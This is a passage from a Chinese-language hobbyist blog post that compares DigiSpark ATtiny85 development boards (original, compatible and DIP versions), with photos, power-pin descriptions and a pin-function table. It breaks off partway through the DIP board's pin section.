</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-21458676119683731962022-12-21T11:51:00.107+08:002023-01-18T08:20:33.463+08:00使用 Arduino IDE 將 Sketch 直接寫入到 ATtiny85<div>Arduino 令學習及使用電子零件變得簡單<br/>
但如果製作細小的專案,體積較大的 Arduino 開發板並不適合<br/>
之前在下提及的 ATtiny85 雖然細小,但需要 ISP 及連接其他額外電子零件才能寫入程式,長遠而並方便<br/>
如果有又細小又方便寫入程式,便可以方便製作及開發小型電子產品</div>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#DigiSpark原裝開發板">DigiSpark 原裝開發板</a>
<ul>
<li><a href="#DigiSpark原裝開發板引腳">引腳</a></li>
</ul>
</li>
<li><a href="#DigiSpark兼容開發板">DigiSpark 兼容開發板</a>
<ul>
<li><a href="#DigiSpark兼容開發板引腳">引腳</a></li>
</ul>
</li>
<li><a href="#DigiSparkDIP兼容開發板">DigiSpark(DIP) 兼容開發板</a>
<ul>
<li><a href="#DigiSparkDIP兼容開發板引腳">引腳</a></li>
</ul>
</li>
<li><a href="#各種DigiSpark比較">各種 DigiSpark 比較</a></li>
<li><a href="#安裝及設定DigiSpark上載器">安裝及設定 DigiSpark 上載器</a></li>
<li><a href="#燒錄起動器到ATtiny85">燒錄起動器到 ATtiny85</a></li>
<li><a href="#更新上載器">更新上載器</a></li>
<li><a href="#補充資料">補充資料</a></li>
<li><a href="#總結">總結</a>
<ul>
<li><a href="#使用ArduinoDroid">使用ArduinoDroid</a></li>
<li><a href="#意外操作">意外操作</a></li>
<li><a href="#起動速度比較">起動速度比較</a></li>
</ul>
</li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<a name="DigiSpark原裝開發板"></a><h4 class="mra-h4">DigiSpark 原裝開發板</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDkSS6vsOiLv4CzD9g1RQtPhVQyOzgCepqxq2HPHKhElUEKT-ywe5U_5nk6ANuKkr7g98D53NndUZsvGKSlU-TUmpGgp_ETym9RWxiIzlUrHP22DJ6AlBQgf1obqtJxhyHf3Jn_KeFKK39i5H44j5Djb5HqwPi3j1tJF03ov0-Rnw1l6vbnjnY87RB/w0/digispark-attiny85-board-001.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDkSS6vsOiLv4CzD9g1RQtPhVQyOzgCepqxq2HPHKhElUEKT-ywe5U_5nk6ANuKkr7g98D53NndUZsvGKSlU-TUmpGgp_ETym9RWxiIzlUrHP22DJ6AlBQgf1obqtJxhyHf3Jn_KeFKK39i5H44j5Djb5HqwPi3j1tJF03ov0-Rnw1l6vbnjnY87RB/w600/digispark-attiny85-board-001.jpg"/></a></div>
<div>DigiSpark 原裝開發板 正面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxV6sdSk6Jjh49Dz_PFR93JaxMFnTophNk2zBA89y6OY86eKgp0i_TilvCLR8fMiOyVhM1xQYt0XXwJ_XssRA0U1FGD5VCKeZMoCOKwMN1YmnUxwIXr45Do9UwwslVBORyz2pGeQyWXqLZ8JrKvKI2vNImewxKwdkUpIq8goCYrXjNe0M3qKHvLz_K/w0/digispark-attiny85-board-006.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxV6sdSk6Jjh49Dz_PFR93JaxMFnTophNk2zBA89y6OY86eKgp0i_TilvCLR8fMiOyVhM1xQYt0XXwJ_XssRA0U1FGD5VCKeZMoCOKwMN1YmnUxwIXr45Do9UwwslVBORyz2pGeQyWXqLZ8JrKvKI2vNImewxKwdkUpIq8goCYrXjNe0M3qKHvLz_K/w600/digispark-attiny85-board-006.jpg"/></a></div>
<div>使用標準的 USB 2.0 Type-A 插頭,能直接連接到大部分電腦的 USB 插口</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijeSQNhGaw_HRmCd-5EhGxBU4LBdeQ63zrKoVOVpucbCVnlNIDmLgzj6M_lVtxqyAI3r4fOPSsp0sXcNV2mkMZoem2APKeIj7aUFH8Be4UeWkz5BxokhXGKTz2EZRjMb1bnT6A4jdBuUnuQID9oO3lKjIsIY62bpkkL5-u19lJUW7JeAVUjHazaV1q/w0/digispark-attiny85-board-002.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijeSQNhGaw_HRmCd-5EhGxBU4LBdeQ63zrKoVOVpucbCVnlNIDmLgzj6M_lVtxqyAI3r4fOPSsp0sXcNV2mkMZoem2APKeIj7aUFH8Be4UeWkz5BxokhXGKTz2EZRjMb1bnT6A4jdBuUnuQID9oO3lKjIsIY62bpkkL5-u19lJUW7JeAVUjHazaV1q/w600/digispark-attiny85-board-002.jpg"/></a></div>
<div>使用 7805 確保電壓輸入為 5V</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-o7upuB1lOI4uQ8EKr-erOS1PHxJAjW-H6frf4CQUKlnOOVAA89tdUK8g0uq0R9QJHPSJbDTpeJj1kg3Gozf8hn7-MusnW5XxNbR815A1sDxusrMZl0_djqrBpd18YoeGqjowgpyPMXa3A9YbJzH8y9Yks8_mGnppevART0AT0ujuKpCaTzVbP3wa/w0/digispark-attiny85-board-003.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-o7upuB1lOI4uQ8EKr-erOS1PHxJAjW-H6frf4CQUKlnOOVAA89tdUK8g0uq0R9QJHPSJbDTpeJj1kg3Gozf8hn7-MusnW5XxNbR815A1sDxusrMZl0_djqrBpd18YoeGqjowgpyPMXa3A9YbJzH8y9Yks8_mGnppevART0AT0ujuKpCaTzVbP3wa/w600/digispark-attiny85-board-003.jpg"/></a></div>
<div>使用 SOP 封裝的 ATtiny85</div>
<br/>
<a name="DigiSpark原裝開發板引腳"></a><h5 class="mra-h5">引腳</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhq3Ad_A7Ql3CN_vHDsPDwENtAvFh797sDO6lYhT1GzCiptpPekJGz6t2-HFnrmoemnGraVnQMjrOFGH4_oj-6hUtqzwWGgv7ZKKMJtOpRo_wz-S9BN7PQFFZtrsV_d-aOUqCc8ta-LSBlsbXft9HZNfGvUkLSx_RehbjjE9OwrVvzSzREfW2dnjWX/w0/digispark-attiny85-board-004.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhq3Ad_A7Ql3CN_vHDsPDwENtAvFh797sDO6lYhT1GzCiptpPekJGz6t2-HFnrmoemnGraVnQMjrOFGH4_oj-6hUtqzwWGgv7ZKKMJtOpRo_wz-S9BN7PQFFZtrsV_d-aOUqCc8ta-LSBlsbXft9HZNfGvUkLSx_RehbjjE9OwrVvzSzREfW2dnjWX/w600/digispark-attiny85-board-004.jpg"/></a></div>
<div>電源相關的引腳<br/>
由最近 USB 插頭向右分別為:<br/>
<ol>
<li>5V</li>
<li>GND</li>
<li>VIN</li>
</ol>
</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3SVwNY2GtuMxEHTBR-8uHwbZn72UB4fAGQ6aYDbFt8pzCYMw-vp7s5jde9RPID53tHPTmqdjyVIbZjkp1Rg64cGjOHBK289-aN_u98fIYzHb5PsFusn6Qyk98ptB20abCqSpITckRadnHcQhvhcrMJF5WV6HI4NQf3ZDewUawmLIIWobU6j5D-ZrM/w0/digispark-attiny85-board-005.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3SVwNY2GtuMxEHTBR-8uHwbZn72UB4fAGQ6aYDbFt8pzCYMw-vp7s5jde9RPID53tHPTmqdjyVIbZjkp1Rg64cGjOHBK289-aN_u98fIYzHb5PsFusn6Qyk98ptB20abCqSpITckRadnHcQhvhcrMJF5WV6HI4NQf3ZDewUawmLIIWobU6j5D-ZrM/w600/digispark-attiny85-board-005.jpg"/></a></div>
<table class="mra-table mra-collapse" width="70%" border="1" cellpadding="5" cellspacin="5">
<colgroup>
<col width="20%"/>
<col width="20%"/>
<col width="12%"/>
<col width="12%"/>
<col width="12%"/>
<col width="12%"/>
<col width="12%"/>
</colgroup>
<thead>
<tr>
<th>DigiSpark Port</th>
<th>ATtiny85 Port</th>
<th>PWM</th>
<th>Analog</th>
<th>SPI</th>
<th>I<sup>2</sup>C</th>
<th>其他</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>5</td>
<td>PWM0</td>
<td>Aref</td>
<td>MOSI</td>
<td>SDA</td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>6</td>
<td>PWM1</td>
<td></td>
<td>MISO</td>
<td></td>
<td>LED</td>
</tr>
<tr>
<td>2</td>
<td>7</td>
<td></td>
<td>A1</td>
<td>SCK</td>
<td>SCL</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>2</td>
<td></td>
<td>A3</td>
<td></td>
<td></td>
<td>USB+</td>
</tr>
<tr>
<td>4</td>
<td>3</td>
<td>PWM4</td>
<td>A2</td>
<td></td>
<td></td>
<td>USB-</td>
</tr>
<tr>
<td>5</td>
<td>1</td>
<td></td>
<td>A0</td>
<td></td>
<td></td>
<td>RST</td>
</tr>
</tbody>
</table>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyNhqMAFbbZDx11XioPdYnCGX7xV5xGhwqtXhVGyyEfMOT5u213SddN5QGXibwqmOHSZLGaFChQaKRALIkzVbD6wWqqlFMS_d42FoxKJB_HifAhX7Rx8SLWZCwgultmhkyGUGB46qlPi_ycszOygtijob40kOt7rTKInZdgQN5y-1xX9ZyJYZqXHfT/w0/digispark-attiny85-board-007.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyNhqMAFbbZDx11XioPdYnCGX7xV5xGhwqtXhVGyyEfMOT5u213SddN5QGXibwqmOHSZLGaFChQaKRALIkzVbD6wWqqlFMS_d42FoxKJB_HifAhX7Rx8SLWZCwgultmhkyGUGB46qlPi_ycszOygtijob40kOt7rTKInZdgQN5y-1xX9ZyJYZqXHfT/w600/digispark-attiny85-board-007.jpg"/></a></div>
<div>DigiSpark 原裝開發板 背面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0ya6lvtNZuYyVX6LCB5-i17zt7kmuHIjUXm19hGoBXi5V_rU7loY5_3sJcddzw1xvTwvic3HWDzEXa86gn4JoCkgLNzYotDpPd1Zfr109D2Br0R3xO8aMzn9r1enLoc6NvW7HFpR3ANkUvAlt3zctYjyobs7FWsPbnMqnnXvz6kCphEs5MrKcp3NG/w0/digispark-attiny85-board-008.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0ya6lvtNZuYyVX6LCB5-i17zt7kmuHIjUXm19hGoBXi5V_rU7loY5_3sJcddzw1xvTwvic3HWDzEXa86gn4JoCkgLNzYotDpPd1Zfr109D2Br0R3xO8aMzn9r1enLoc6NvW7HFpR3ANkUvAlt3zctYjyobs7FWsPbnMqnnXvz6kCphEs5MrKcp3NG/w600/digispark-attiny85-board-008.jpg"/></a></div>
<div>背面有詳細說明每支引腳的功能</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsH6YOQC4I_dZHYIb_nJAzFkUJSAv31YosIIyJQ5dHQLPMPFYTub80pHNP0Rg-0ENxZWk3rcTN2hGZk4tyo09iJit3JN0sx4hVZXnQ4rT6tuZvqsdYdTkjsT4Smex1kkRQ6m6FzgVSlS34c-CzFgdMWidH6NaU3pVRvQBqqstMm3zx1JAzu8UX6QSx/w0/digispark-attiny85-board-017.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsH6YOQC4I_dZHYIb_nJAzFkUJSAv31YosIIyJQ5dHQLPMPFYTub80pHNP0Rg-0ENxZWk3rcTN2hGZk4tyo09iJit3JN0sx4hVZXnQ4rT6tuZvqsdYdTkjsT4Smex1kkRQ6m6FzgVSlS34c-CzFgdMWidH6NaU3pVRvQBqqstMm3zx1JAzu8UX6QSx/w600/digispark-attiny85-board-017.jpg"/></a></div>
<div>接駁電源時 綠色LED 會亮著</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH1Foea1SNXqC5p4VTt9cqXgfqoeCH1g62TOUq6TzAHZi6HfLeEVhxBP5qsAshuwTw3POtyXZUVHomnIUskwzIaHX4E1MroyGGrash1teXbCnGiHKoE3G1Ua7TCBzPjvqBbilNPuOkchqmRB2Vg2peykFV4jSFhcQQE_vJgQ5Y5MoLtmOca0Q3FpjU/w0/digispark-attiny85-board-054.gif"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH1Foea1SNXqC5p4VTt9cqXgfqoeCH1g62TOUq6TzAHZi6HfLeEVhxBP5qsAshuwTw3POtyXZUVHomnIUskwzIaHX4E1MroyGGrash1teXbCnGiHKoE3G1Ua7TCBzPjvqBbilNPuOkchqmRB2Vg2peykFV4jSFhcQQE_vJgQ5Y5MoLtmOca0Q3FpjU/w600/digispark-attiny85-board-054.gif"/></a></div>
<div>製作簡單 電路板LED閃動 測試</div>
<br/>
<a name="DigiSpark兼容開發板"></a><h4 class="mra-h4">DigiSpark 兼容開發板</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsAVNBV7arVq43ls6vhYUpx4UWsVTfSkgSTnwq28Qt3ULDP1KjoelDkB_SPfrhBchRhXb66_aEtlej-XS0n_T6w1wk_MbBKhcAznr2EzfwaaULVocDERfXKfvcnUwjvC0lKrkH5ckSNQx1PtRN-0vLKQcDjClEyd98_2Yh2Tz9p7lcIXy7l7wSP2v8/w0/digispark-attiny85-board-009.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsAVNBV7arVq43ls6vhYUpx4UWsVTfSkgSTnwq28Qt3ULDP1KjoelDkB_SPfrhBchRhXb66_aEtlej-XS0n_T6w1wk_MbBKhcAznr2EzfwaaULVocDERfXKfvcnUwjvC0lKrkH5ckSNQx1PtRN-0vLKQcDjClEyd98_2Yh2Tz9p7lcIXy7l7wSP2v8/w600/digispark-attiny85-board-009.jpg"/></a></div>
<div>DigiSpark 兼容開發板 正面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitBaRdB3oHCDnRaZzoJ-ejvQHXUTXWHNen2WHUFZc9GZ5jNTlxNkpgqlZR7AB4DBouvWN2N0bgANl1N3QQ4fQsgXaIg1Zp2oDcJFx9SG2FG7-iq5P5-1NlJVXwIvKY-umagdh1S9P8yQSrTynlkWlf4XRwa2ACYEvxhH8yoqMlbryscE-vrqiIo9CX/w0/digispark-attiny85-board-014.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitBaRdB3oHCDnRaZzoJ-ejvQHXUTXWHNen2WHUFZc9GZ5jNTlxNkpgqlZR7AB4DBouvWN2N0bgANl1N3QQ4fQsgXaIg1Zp2oDcJFx9SG2FG7-iq5P5-1NlJVXwIvKY-umagdh1S9P8yQSrTynlkWlf4XRwa2ACYEvxhH8yoqMlbryscE-vrqiIo9CX/w600/digispark-attiny85-board-014.jpg"/></a></div>
<div>使用 Micro USB Type-B 插孔</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiABe0q7UJYeICQ7_Oz4FkOjYsAKVSUvbY7iGXmJ0MtfjcWIHHhaZ4Zvh9GrM-bfQt-JH4reY0wc5aXpmGsxjxuailMNBv9qj7xnqjJvygqktujhhD6FIGP5GMnEimqYzlZCxmDe712MNpyOF5JT5l6K2RZ2UjtF7S9wF4SMc_soJpitvnertp0N5NI/w0/digispark-attiny85-board-010.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiABe0q7UJYeICQ7_Oz4FkOjYsAKVSUvbY7iGXmJ0MtfjcWIHHhaZ4Zvh9GrM-bfQt-JH4reY0wc5aXpmGsxjxuailMNBv9qj7xnqjJvygqktujhhD6FIGP5GMnEimqYzlZCxmDe712MNpyOF5JT5l6K2RZ2UjtF7S9wF4SMc_soJpitvnertp0N5NI/w600/digispark-attiny85-board-010.jpg"/></a></div>
<div>同樣使用 7805 確保電壓輸入為 5V</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIxBaPLay_LBuhFIBZn4rcS2XipLpH2b7lGh4RU5JxJEAYu01AVirLwf3Z9vOnwFgb02lCYs0XxBzTyabiJmXWu1HZKxPZhUaQ4OPu8iSi5tKVfyOGYm5DUftYxTJ8lHZWGlmLuUNh2WjQfBgNPCRF_XrrkuvRqqZrMvw7iGzgtwij6Vp_p4ZLPSLH/w0/digispark-attiny85-board-011.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIxBaPLay_LBuhFIBZn4rcS2XipLpH2b7lGh4RU5JxJEAYu01AVirLwf3Z9vOnwFgb02lCYs0XxBzTyabiJmXWu1HZKxPZhUaQ4OPu8iSi5tKVfyOGYm5DUftYxTJ8lHZWGlmLuUNh2WjQfBgNPCRF_XrrkuvRqqZrMvw7iGzgtwij6Vp_p4ZLPSLH/w600/digispark-attiny85-board-011.jpg"/></a></div>
<div>同樣使用 SOP 封裝的 ATtiny85</div>
<br/>
<a name="DigiSpark兼容開發板引腳"></a><h5 class="mra-h5">引腳</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3qyjbukbKsOq7xO1UUVQRyvU9_VPQ_hR7w1dBEXF1q9gcGWy8iwJDTCkLGfw5Zfrwr04Jh4WQhX-rq-F-hNyuc7QRUKKk4QdrQDeBRm5YzwylYyWBOV-ka5svSKloQfx_fG6y_iXGanqOPxxggvjUll4B1_-EYl8PU-NWRDMpfo-LJuHLoweefB0y/w0/digispark-attiny85-board-012.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3qyjbukbKsOq7xO1UUVQRyvU9_VPQ_hR7w1dBEXF1q9gcGWy8iwJDTCkLGfw5Zfrwr04Jh4WQhX-rq-F-hNyuc7QRUKKk4QdrQDeBRm5YzwylYyWBOV-ka5svSKloQfx_fG6y_iXGanqOPxxggvjUll4B1_-EYl8PU-NWRDMpfo-LJuHLoweefB0y/w600/digispark-attiny85-board-012.jpg"/></a></div>
<div>電源相關的引腳<br/>
由最近 USB 插孔向右分別為:<br/>
<ol>
<li>5V</li>
<li>GND</li>
<li>VIN</li>
</ol></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA7Roe_bI3cBmMZeRWyeVezms5BUxdAkAaexvpCOSThyu7o6sS20su-wWiZXoyM5LiUNqZPbW8ibK4ANo-zmo6Mthz4ThZ_Krc8xOP6_SpgTklWR8yhkjqWO7Mkzh_eWHbG8UR_S9kmBZDXe7Xpz1_7vnKUh7Sjok3XqViYkPPlxM6jq0qyQBzm0pw/w0/digispark-attiny85-board-013.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA7Roe_bI3cBmMZeRWyeVezms5BUxdAkAaexvpCOSThyu7o6sS20su-wWiZXoyM5LiUNqZPbW8ibK4ANo-zmo6Mthz4ThZ_Krc8xOP6_SpgTklWR8yhkjqWO7Mkzh_eWHbG8UR_S9kmBZDXe7Xpz1_7vnKUh7Sjok3XqViYkPPlxM6jq0qyQBzm0pw/w600/digispark-attiny85-board-013.jpg"/></a></div>
<div>控制相關的引腳<br/>
由最近電源相關引腳向右分別為:<br/>
<ol>
<li>P0</li>
<li>P1</li>
<li>P2</li>
<li>P3</li>
<li>P4</li>
<li>P5</li>
</ol></div>
<br/><div>控制相關的引腳<br/>
由最近電源相關引腳向右分別為:</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHq58x_Fr0CJ35zQLHpqxihvo3HO7PnUde51EMeXFk6X0xH9iFvrAim0HGMzjTK0BxLvWebZDF8d5YAMuQojImxexOHaVqNAHRrpnCTH2YDZffNYQpurkpE7UNEVB2CBo9cLV9VfYKkjVYu1AMll4WSoeUDXB0_OtkTjHAl4OchPXPa8iOzbf4ruf9/w0/digispark-attiny85-board-015.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHq58x_Fr0CJ35zQLHpqxihvo3HO7PnUde51EMeXFk6X0xH9iFvrAim0HGMzjTK0BxLvWebZDF8d5YAMuQojImxexOHaVqNAHRrpnCTH2YDZffNYQpurkpE7UNEVB2CBo9cLV9VfYKkjVYu1AMll4WSoeUDXB0_OtkTjHAl4OchPXPa8iOzbf4ruf9/w600/digispark-attiny85-board-015.jpg"/></a></div>
<div>DigiSpark 兼容開發板 背面<br/>
背面有詳細說明每支引腳的功能</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipES46Svwyy1pO7Fd0PrIWM6OO1zcRWu6ev8tkVVH3nRL4ZfviYyrpffFz9mgYKkSRdBu3JlpWGrBwUtTH3nVUFIyfDFj8CqM9JCf4OCR_VurGdSvzHZE9W537XP0_CJboiffg2UllWbsmVB-Q1dUjwz8Tfk6Jzi1473AyLlJoqDg2d9Pw8PgdJO4-/w0/digispark-attiny85-board-018.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipES46Svwyy1pO7Fd0PrIWM6OO1zcRWu6ev8tkVVH3nRL4ZfviYyrpffFz9mgYKkSRdBu3JlpWGrBwUtTH3nVUFIyfDFj8CqM9JCf4OCR_VurGdSvzHZE9W537XP0_CJboiffg2UllWbsmVB-Q1dUjwz8Tfk6Jzi1473AyLlJoqDg2d9Pw8PgdJO4-/w600/digispark-attiny85-board-018.jpg"/></a></div>
<div>接駁電源時 紅色LED 會亮著</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnb55_XP5ofiJJjnYKGdxi6xKKSn2i_QiM8xEBaiJ7rv23UMwfufZaYPcnq0oPAd42S2tAfJ9ViDT6Nr58Ljw3MnPijF0HpDR4SLHhrfPxI7X1LsM6B5hvgknLpcl0WbhUP8Ff9OI2co7Gp_O96CBJ0LJ6tk9TRL1hB4mo-Eqv76IawqdzcHrcA8tK/w0/digispark-attiny85-board-055.gif"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnb55_XP5ofiJJjnYKGdxi6xKKSn2i_QiM8xEBaiJ7rv23UMwfufZaYPcnq0oPAd42S2tAfJ9ViDT6Nr58Ljw3MnPijF0HpDR4SLHhrfPxI7X1LsM6B5hvgknLpcl0WbhUP8Ff9OI2co7Gp_O96CBJ0LJ6tk9TRL1hB4mo-Eqv76IawqdzcHrcA8tK/w600/digispark-attiny85-board-055.gif"/></a></div>
<div>電路板LED閃動 效果</div>
<br/>
<a name="DigiSparkDIP兼容開發板"></a><h4 class="mra-h4">DigiSpark(DIP) 兼容開發板</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij7lZ_lo_I9EFgD-6qBdqJX2bzSgfBG-OEPFuD9WHU7T41OdLwnoTXQcZJCP24uG9z1DBa1B29bRFPDvCdMD3EbFT7kEf15He5uTcJd1EWA8KkTDHz7nbHWFS67bg4eIZ6yR1mFXKwrWqd8dIgbNlCryRQYvZhwGjAXpjjP__xeXbd5rvrn7746RRD/w0/digispark-attiny85-board-019.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij7lZ_lo_I9EFgD-6qBdqJX2bzSgfBG-OEPFuD9WHU7T41OdLwnoTXQcZJCP24uG9z1DBa1B29bRFPDvCdMD3EbFT7kEf15He5uTcJd1EWA8KkTDHz7nbHWFS67bg4eIZ6yR1mFXKwrWqd8dIgbNlCryRQYvZhwGjAXpjjP__xeXbd5rvrn7746RRD/w600/digispark-attiny85-board-019.jpg"/></a></div>
<div>DigiSpark(DIP) 兼容開發板 正面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihuBcoYHhEYXom1Rh537_ffXh8Lkk6CaKpYCWh-OfrkfwprRkyxAiLCD50_h-qggrZTWV3Xhes_aZyW5k-1KJCS6l1AwL6NOzBv6UITmV7eYTkXZnhf3wCW5ksSNwEaYqqgVix8ktiHSe5tbdckgUgQSrAQVDGgjhax7qd5Xt99oJM7MEo09fgRVWJ/w0/digispark-attiny85-board-023.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihuBcoYHhEYXom1Rh537_ffXh8Lkk6CaKpYCWh-OfrkfwprRkyxAiLCD50_h-qggrZTWV3Xhes_aZyW5k-1KJCS6l1AwL6NOzBv6UITmV7eYTkXZnhf3wCW5ksSNwEaYqqgVix8ktiHSe5tbdckgUgQSrAQVDGgjhax7qd5Xt99oJM7MEo09fgRVWJ/w600/digispark-attiny85-board-023.jpg"/></a></div>
<div>同樣使用 Micro USB Type-B 插孔</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuYy_w25FMbYzAuZz3cRbzWJQICYwqw-yCwmlPh6gqX4CLdRt8DLreFoAhWtQy-4k59QFZrnUXrq1adOGeY3fgTodKIaIVyV4MzsNkQi6J-7d4MzkJjbEy1S1EB5Sla9y_Br7hPMnKCVnEeZXqTQ6R6Dwuw31roU6KGp5Tc9kaWpaJIfm5XOWeXfae/w0/digispark-attiny85-board-020.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuYy_w25FMbYzAuZz3cRbzWJQICYwqw-yCwmlPh6gqX4CLdRt8DLreFoAhWtQy-4k59QFZrnUXrq1adOGeY3fgTodKIaIVyV4MzsNkQi6J-7d4MzkJjbEy1S1EB5Sla9y_Br7hPMnKCVnEeZXqTQ6R6Dwuw31roU6KGp5Tc9kaWpaJIfm5XOWeXfae/w600/digispark-attiny85-board-020.jpg"/></a></div>
<div>同樣使用 7805 確保電壓輸入為 5V</div>
<br/>
<a name="DigiSparkDIP兼容開發板引腳"></a><h5 class="mra-h5">引腳</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcDr7p3sCfeEqf1ZpDhLgoW_-Ufy4HpbqtdudKKoCUDJ-pILddr_7nKEFefG8KPI-jikXEF72-Rs5Eiyv1a9x-kmV1h-PetgDJBxv0gcyEqtmfm3uasjljkLL1LMKzgF0YeFVLiyAEDGa_T7XmB9baneWe-RbANf1ash_D97t52XwaX0k3tif7uY18/w0/digispark-attiny85-board-021.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcDr7p3sCfeEqf1ZpDhLgoW_-Ufy4HpbqtdudKKoCUDJ-pILddr_7nKEFefG8KPI-jikXEF72-Rs5Eiyv1a9x-kmV1h-PetgDJBxv0gcyEqtmfm3uasjljkLL1LMKzgF0YeFVLiyAEDGa_T7XmB9baneWe-RbANf1ash_D97t52XwaX0k3tif7uY18/w600/digispark-attiny85-board-021.jpg"/></a></div>
<div>電源相關的引腳<br/>
由最近 USB 插孔向右分別為:<br/>
<ol>
<li>5V</li>
<li>GND</li>
<li>VIN</li>
</ol></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0Iw9WcZRxMBoBIPRehNsejejfSFrHG309mhvbUsHDVcjKQmiNoXR5TX3KKs-VdrNlKXlP0dRVqyJFkHey3QCIb9sH6PFXa0yLUEcEaF0CNuvKjqOkmTvgXxb27bCs-aIb0vC3ZoNpZAR1pMhPs0D6p-RpqzU-AQ3OujJ8ZFTmHsPJH8-7ZaI1sqfY/w0/digispark-attiny85-board-022.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0Iw9WcZRxMBoBIPRehNsejejfSFrHG309mhvbUsHDVcjKQmiNoXR5TX3KKs-VdrNlKXlP0dRVqyJFkHey3QCIb9sH6PFXa0yLUEcEaF0CNuvKjqOkmTvgXxb27bCs-aIb0vC3ZoNpZAR1pMhPs0D6p-RpqzU-AQ3OujJ8ZFTmHsPJH8-7ZaI1sqfY/w600/digispark-attiny85-board-022.jpg"/></a></div>
<div>控制相關的引腳<br/>
由最近電源相關引腳向右分別為:<br/>
<table class="mra-table mra-collapse" width="60%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="20%"/>
<col width="20%"/>
<col width="20%"/>
<col width="20%"/>
<col width="20%"/>
</colgroup>
<thead>
<tr>
<th></th>
<th>第1欄</th>
<th>第2欄</th>
<th>第3欄</th>
<th>第4欄</th>
</tr>
</thead>
<tbody>
